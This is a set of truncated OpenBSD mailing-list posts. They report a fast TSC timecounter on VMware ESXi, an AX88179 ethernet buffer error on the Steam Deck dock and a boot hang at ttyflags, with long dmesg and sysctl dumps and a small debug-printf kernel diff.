FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,ARAT,XSAVEOPT,MELTDOWN cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 8-way L2 cache, 9MB 64b/line 12-way L3 cache cpu1: smt 0, core 0, package 2
Re: 7.2: tsc timecounter running too fast on ESXi 7.5
On Tue, Oct 25, 2022 at 09:20:05PM -0500, Scott Cheloha wrote: > On Tue, Oct 25, 2022 at 02:24:24PM -0700, James J. Lippard wrote: > > I'm one of several people experiencing this issue with OpenBSD 7.2 on > > VMware ESXi 7.5. Scott C. has given me help in trying to track the issue > > down; a patched -current kernel to remove the acpi_delay code added in > > 7.2 makes the issue go away. > > Thanks for your report. > > I have one more patch for you to try. Attached at the end. Hopefully > it will confirm the root problem. Send the resulting dmesg and we'll > see whether the problem is actually the acpitimer(4). >[...] > Okay, here is the third patch. Revert the earlier one and boot this. Here's the dmesg output running with this new patch: OpenBSD 7.2-current (GENERIC.MP) #1: Tue Oct 25 20:09:51 MST 2022 lipp...@chaos.int.discord.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP real mem = 6424494080 (6126MB) avail mem = 6212374528 (5924MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 2.7 @ 0xe0010 (242 entries) bios0: vendor Phoenix Technologies LTD version "6.00" date 11/12/2020 bios0: VMware, Inc. VMware Virtual Platform acpi0 at bios0: ACPI 4.0 acpi0: sleep states S0 S1 S4 S5 acpi0: tables DSDT FACP BOOT APIC MCFG SRAT HPET WAET acpi0: wakeup devices PCI0(S3) USB_(S1) P2P0(S3) S1F0(S3) S2F0(S3) S8F0(S3) S16F(S3) S18F(S3) S22F(S3) S23F(S3) S24F(S3) S25F(S3) PE40(S3) S1F0(S3) PE50(S3) S1F0(S3) [...] acpitimer0 at acpi0: 3579545 Hz, 24 bits acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: Intel(R) Xeon(R) CPU D-1528 @ 1.90GHz, 1899.77 MHz, 06-56-03 cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,ARAT,XSAVEOPT,MELTDOWN cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 8-way L2 cache, 9MB 64b/line 12-way L3 cache measure_tsc_freq: indirect calibration with acpitimer0(1000), 3579545 Hz: count 12840801 13198720 tsc 8350048970 8540029885 usecs 0: 189149 Hz measure_tsc_freq: direct calibration with acpitimer0(1000), 3579545 Hz: cycles 357969 tsc 62919804: 629172553 Hz measure_tsc_freq: indirect calibration with acpitimer0(1000), 3579545 Hz: count 13562994 13686416 tsc 8608912502 8798895525 usecs 34479: (failed) measure_tsc_freq: indirect calibration with acpitimer0(1000), 3579545 Hz: count 13692684 14050605 tsc 880961 8992204988 usecs 0: 1900010271 Hz measure_tsc_freq: direct calibration with acpitimer0(1000), 3579545 Hz: cycles 357969 tsc 64754894: 647522710 Hz cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges cpu0: apic clock running at 65MHz delay_init: changing delay implementation: 0 -> 3000 cpu1 at mainbus0: apid 2 (application processor) cpu1: Intel(R) Xeon(R) CPU D-1528 @ 1.90GHz, 1899.68 MHz, 06-56-03 cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,ARAT,XSAVEOPT,MELTDOWN cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 8-way L2 cache, 9MB 64b/line 12-way L3 cache cpu1: smt 0, core 0, package 2 ioapic0 at mainbus0: apid 1 pa 0xfec0, version 20, 24 pins acpimcfg0 at acpi0 acpimcfg0: addr 0xf000, bus 0-127 acpihpet0 at acpi0: 14318179 Hz measure_tsc_freq: indirect calibration with acpihpet0(1000), 14318179 Hz: count 7984 1439544 tsc 11218877272 11408843078 usecs 99981: 1900019063 Hz measure_tsc_freq: direct calibration with acpihpet0(1000), 14318179 Hz: cycles 1431817 tsc 18744: 188634 Hz measure_tsc_freq: indirect calibration with acpihpet0(1000), 14318179 Hz: count 2894172 4325743 tsc 11601869571 11791837035 usecs 99982: 1900016642 Hz measure_tsc_freq: direct calibration with acpihpet0(1000), 14318179 Hz: cycles 1431826 tsc 19912: 188371 Hz measure_tsc_freq: indirect calibration with acpihpet0(1000), 14318179 Hz: count 5780812 7212468 tsc 11984921805 12174900576 usecs 99988: 1900015711 Hz measure_tsc_freq: direct calibration with acpihpet0(1000), 14318179 Hz: cycles 1431877 tsc 190007695: 188525 Hz acpiprt0 at acpi0: bus 0 (PCI0) acpipci0 at acpi0 PCI0: 0x 0x0011 0x0001 acpicmos0 at acpi0 "PNP0A05" at acpi0 not configured acpiac0 at acpi0: AC unit online acpicpu0 at acpi0: C1(@1 halt!) acpicpu1
7.2: tsc timecounter running too fast on ESXi 7.5
I'm one of several people experiencing this issue with OpenBSD 7.2 on VMware ESXi 7.5. Scott C. has given me help in trying to track the issue down; a patched -current kernel to remove the acpi_delay code added in 7.2 makes the issue go away. Below is output from sysctl machdep, sysctl hw, and dmesg: sysctl machdep: machdep.console_device=ttyC0 machdep.bios.diskinfo.128=bootdev = 0xa204, cylinders = 1024, heads = 255, sectors = 63 machdep.bios.diskinfo.129=bootdev = 0xa0010204, cylinders = 1024, heads = 255, sectors = 63 machdep.bios.diskinfo.130=bootdev = 0xa0020204, cylinders = 1024, heads = 255, sectors = 63 machdep.bios.cksumlen=2 machdep.allowaperture=0 machdep.cpuvendor=GenuineIntel machdep.cpuid=0x50663 machdep.cpufeature=0xf9bfbff machdep.kbdreset=0 machdep.xcrypt=0 machdep.lidaction=1 machdep.forceukbd=0 machdep.tscfreq=1900013052 machdep.invarianttsc=1 machdep.pwraction=1 sysctl hw: hw.machine=amd64 hw.model=Intel(R) Xeon(R) CPU D-1528 @ 1.90GHz hw.ncpu=2 hw.byteorder=1234 hw.pagesize=4096 hw.disknames=cd0:,sd0:e0a47e78ea955d63,sd1:0c3277666ef919fc,sd2:bdec30edfe97d02b hw.diskcount=4 hw.sensors.acpiac0.indicator0=On (power supply) hw.sensors.vmt0.timedelta0=0.000371 secs, OK, Tue Oct 25 14:18:36.273 hw.cpuspeed=1899 hw.vendor=VMware, Inc. hw.product=VMware Virtual Platform hw.version=None hw.serialno=VMware-56 4d 2b c8 07 85 8b b7-28 1b a0 5d d5 cf 8d fd hw.uuid=564d2bc8-0785-8bb7-281b-a05dd5cf8dfd hw.physmem=6424494080 hw.usermem=6424477696 hw.ncpufound=2 hw.allowpowerdown=1 hw.smt=0 hw.ncpuonline=2 hw.power=1 dmesg (which includes 7.1, post-upgrade, and with patched -current kernel): OpenBSD 7.1 (GENERIC.MP) #3: Sun May 15 10:27:01 MDT 2022 r...@syspatch-71-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP real mem = 6424494080 (6126MB) avail mem = 6212485120 (5924MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 2.7 @ 0xe0010 (242 entries) bios0: vendor Phoenix Technologies LTD version "6.00" date 11/12/2020 bios0: VMware, Inc. VMware Virtual Platform acpi0 at bios0: ACPI 4.0 acpi0: sleep states S0 S1 S4 S5 acpi0: tables DSDT FACP BOOT APIC MCFG SRAT HPET WAET acpi0: wakeup devices PCI0(S3) USB_(S1) P2P0(S3) S1F0(S3) S2F0(S3) S8F0(S3) S16F(S3) S18F(S3) S22F(S3) S23F(S3) S24F(S3) S25F(S3) PE40(S3) S1F0(S3) PE50(S3) S1F0(S3) [...] acpitimer0 at acpi0: 3579545 Hz, 24 bits acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: Intel(R) Xeon(R) CPU D-1528 @ 1.90GHz, 1899.75 MHz, 06-56-03 cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,ARAT,XSAVEOPT,MELTDOWN cpu0: 256KB 64b/line 8-way L2 cache cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges cpu0: apic clock running at 65MHz cpu1 at mainbus0: apid 2 (application processor) cpu1: Intel(R) Xeon(R) CPU D-1528 @ 1.90GHz, 1899.62 MHz, 06-56-03 cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,ARAT,XSAVEOPT,MELTDOWN cpu1: 256KB 64b/line 8-way L2 cache cpu1: disabling user TSC (skew=-2507) cpu1: smt 0, core 0, package 2 ioapic0 at mainbus0: apid 1 pa 0xfec0, version 20, 24 pins acpimcfg0 at acpi0 acpimcfg0: addr 0xf000, bus 0-127 acpihpet0 at acpi0: 14318179 Hz acpiprt0 at acpi0: bus 0 (PCI0) acpipci0 at acpi0 PCI0: 0x 0x0011 0x0001 acpicmos0 at acpi0 "PNP0A05" at acpi0 not configured acpiac0 at acpi0: AC unit online acpicpu0 at acpi0: C1(@1 halt!) acpicpu1 at acpi0: C1(@1 halt!) cpu0: using VERW MDS workaround pvbus0 at mainbus0: VMware vmt0 at pvbus0 pci0 at mainbus0 bus 0 pchb0 at pci0 dev 0 function 0 "Intel 82443BX AGP" rev 0x01 ppb0 at pci0 dev 1 function 0 "Intel 82443BX AGP" rev 0x01 pci1 at ppb0 bus 1 pcib0 at pci0 dev 7 function 0 "Intel 82371AB PIIX4 ISA" rev 0x08 pciide0 at pci0 dev 7 function 1 "Intel 82371AB IDE" rev 0x01: DMA, channel 0 configured to compatibility, channel 1 configured to compatibility pciide0: channel 0 disabled (no drives) pciide0: channel 1 disabled (no drives) piixpm0 at pci0 dev 7 function 3 "Intel 82371AB Power" rev 0x08: SMBus disabled "VMware VMCI" rev 0x10 at pci0 dev 7 function 7 not configured vga1 at pci0 dev 15 function 0 "VMware SVGA II" rev 0x00 wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation) wsdisplay0: screen 1-5 added (80x25, vt100 emulation) ppb1 at
Re: ASIX AX88179: "axen0: invalid buffer(pkt#1), continue"
Jonathan Gray writes: > On Sun, Oct 16, 2022 at 03:46:11AM -0600, Anthony J. Bentley wrote: > > On Valve's Steam Deck dock (https://www.steamdeck.com/en/dock), setting > > 'inet autoconf' in hostname.axen0 and running 'sh /etc/netstart axen0' > > (or equivalently, selecting axen0 during install) results in no response > > from the network, and this message in dmesg: > > > > axen0: invalid buffer(pkt#1), continue > > > > This continues to print in dmesg until the ethernet cable is unplugged. > > some pcidevs changes unrelated to that issue > should make ccp(4) match > > there are no docs for family 17h model 90h on > https://developer.amd.com/resources/developer-guides-manuals/ > unsure what AMD 0x145a is > > storage is from Longsys, FORESEE brand > controller seems to be from BayHub Technology, unclear which model ok bentley@ OpenBSD 7.2-current (GENERIC.MP) #0: Sat Oct 22 23:11:46 MDT 2022 anth...@desktop.ajb.soy:/usr/src/sys/arch/amd64/compile/GENERIC.MP real mem = 15926702080 (15188MB) avail mem = 15426596864 (14711MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 3.3 @ 0x796fc000 (53 entries) bios0: vendor Valve version "F7A0107" date 05/24/2022 bios0: Valve Jupiter efi0 at bios0: UEFI 2.7 efi0: Valve rev 0x10007 acpi0 at bios0: ACPI 5.0 acpi0: sleep states S0 S3 S4 S5 acpi0: tables DSDT FACP UEFI SSDT SSDT TPM2 ASF! BOOT HPET APIC MCFG SLIC WDAT WDRT SSDT SSDT VFCT SSDT SSDT CRAT CDIT SSDT SSDT SSDT SSDT FPDT WSMT SSDT SSDT BGRT acpi0: wakeup devices GPP0(S0) GPP1(S0) GPP2(S0) GPP3(S0) GPP4(S0) GPP5(S0) GP17(S0) XHC0(S4) XHC1(S4) GP19(S0) XHC2(S4) acpitimer0 at acpi0: 3579545 Hz, 32 bits acpihpet0 at acpi0: 14318180 Hz acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: AMD Custom APU 0405, 2800.06 MHz, 17-90-02 cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges cpu0: apic clock running at 100MHz cpu0: mwait min=64, max=64, C-substates=1.1, IBE cpu1 at mainbus0: apid 1 (application processor) cpu1: AMD Custom APU 0405, 2800.01 MHz, 17-90-02 cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu1: smt 1, core 0, package 0 cpu2 at mainbus0: apid 2 (application processor) cpu2: AMD Custom APU 0405, 2800.01 MHz, 17-90-02 cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu2: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu2: smt 0, core 1, package 0 cpu3 at mainbus0: apid 3 (application processor) cpu3: AMD Custom APU 0405, 2800.00 MHz, 17-90-02 cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu3: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu3: smt 1, core 1, package 0 cpu4 at mainbus0: apid 4 (application processor) cpu4: AMD Custom APU 0405, 2800.01 MHz, 17-
ASIX AX88179: "axen0: invalid buffer(pkt#1), continue"
On Valve's Steam Deck dock (https://www.steamdeck.com/en/dock), setting 'inet autoconf' in hostname.axen0 and running 'sh /etc/netstart axen0' (or equivalently, selecting axen0 during install) results in no response from the network, and this message in dmesg: axen0: invalid buffer(pkt#1), continue This continues to print in dmesg until the ethernet cable is unplugged. OpenBSD 7.2-current (GENERIC.MP) #778: Mon Oct 10 22:34:04 MDT 2022 dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP real mem = 15926702080 (15188MB) avail mem = 15426613248 (14711MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 3.3 @ 0x796fc000 (53 entries) bios0: vendor Valve version "F7A0107" date 05/24/2022 bios0: Valve Jupiter acpi0 at bios0: ACPI 5.0 acpi0: sleep states S0 S3 S4 S5 acpi0: tables DSDT FACP UEFI SSDT SSDT TPM2 ASF! BOOT HPET APIC MCFG SLIC WDAT WDRT SSDT SSDT VFCT SSDT SSDT CRAT CDIT SSDT SSDT SSDT SSDT FPDT WSMT SSDT SSDT BGRT acpi0: wakeup devices GPP0(S0) GPP1(S0) GPP2(S0) GPP3(S0) GPP4(S0) GPP5(S0) GP17(S0) XHC0(S4) XHC1(S4) GP19(S0) XHC2(S4) acpitimer0 at acpi0: 3579545 Hz, 32 bits acpihpet0 at acpi0: 14318180 Hz acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: AMD Custom APU 0405, 2800.05 MHz, 17-90-02 cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges cpu0: apic clock running at 100MHz cpu0: mwait min=64, max=64, C-substates=1.1, IBE cpu1 at mainbus0: apid 1 (application processor) cpu1: AMD Custom APU 0405, 2800.00 MHz, 17-90-02 cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu1: smt 1, core 0, package 0 cpu2 at mainbus0: apid 2 (application processor) cpu2: AMD Custom APU 0405, 2800.01 MHz, 17-90-02 cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu2: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu2: smt 0, core 1, package 0 cpu3 at mainbus0: apid 3 (application processor) cpu3: AMD Custom APU 0405, 2800.01 MHz, 17-90-02 cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu3: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu3: smt 1, core 1, package 0 cpu4 at mainbus0: apid 4 (application processor) cpu4: AMD Custom APU 0405, 2800.01 MHz, 17-90-02 cpu4: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu4: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 512KB 64b/line 8-way L2 cache, 4MB 64b/line 16-way L3 cache cpu4:
Re: System upgraded from 7.0 to 7.1 hangs after fs mounts
Johan Huldtgren writes:
> > On 2022/05/21 14:23, Mark Kettenis wrote:
> > > It looks as if the ACPI AML is properly checking that the UART is
> > > enabled in the NCT6776F SuperIO chip. Can you build a kernel with the
> > > diff below and mail the dmesg from that kernel?
> > >
> > >
> > > Index: dev/acpi/acpi.c
> > > ===
> > > RCS file: /cvs/src/sys/dev/acpi/acpi.c,v
> > > retrieving revision 1.413
> > > diff -u -p -r1.413 acpi.c
> > > --- dev/acpi/acpi.c 17 Feb 2022 00:21:40 - 1.413
> > > +++ dev/acpi/acpi.c 21 May 2022 18:20:20 -
> > > @@ -3095,6 +3095,7 @@ acpi_foundhid(struct aml_node *node, voi
> > > return (0);
> > >
> > > sta = acpi_getsta(sc, node->parent);
> > > + printf("_STA: 0x%02llx\n", sta);
> > > if ((sta & (STA_PRESENT | STA_ENABLED)) != (STA_PRESENT | STA_ENABLED))
> > > return (0);
> > >
>
> Did this provide any clues as to what is going on? If not and this
> hardware is just odd and the work around is just to comment out the
> ttyflags line from /etc/rc I'll add that to my upgrade notes for
> this machine.
This issue also occurs on the Valve Steam Deck. It hangs in /etc/rc
at ttyflags -a.
/var/db/acpi/ here: https://roadrunner.page/files/2022/sd/acpi.tar.gz
dmesg from May 9 kernel (predating the problem) and -current follow:
OpenBSD 7.1-current (GENERIC.MP) #508: Mon May 9 17:16:37 MDT 2022
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 15926702080 (15188MB)
avail mem = 15426641920 (14711MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 3.3 @ 0x796fc000 (53 entries)
bios0: vendor Valve version "F7A0107" date 05/24/2022
bios0: Valve Jupiter
acpi0 at bios0: ACPI 5.0
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP UEFI SSDT SSDT TPM2 ASF! BOOT HPET APIC MCFG SLIC WDAT
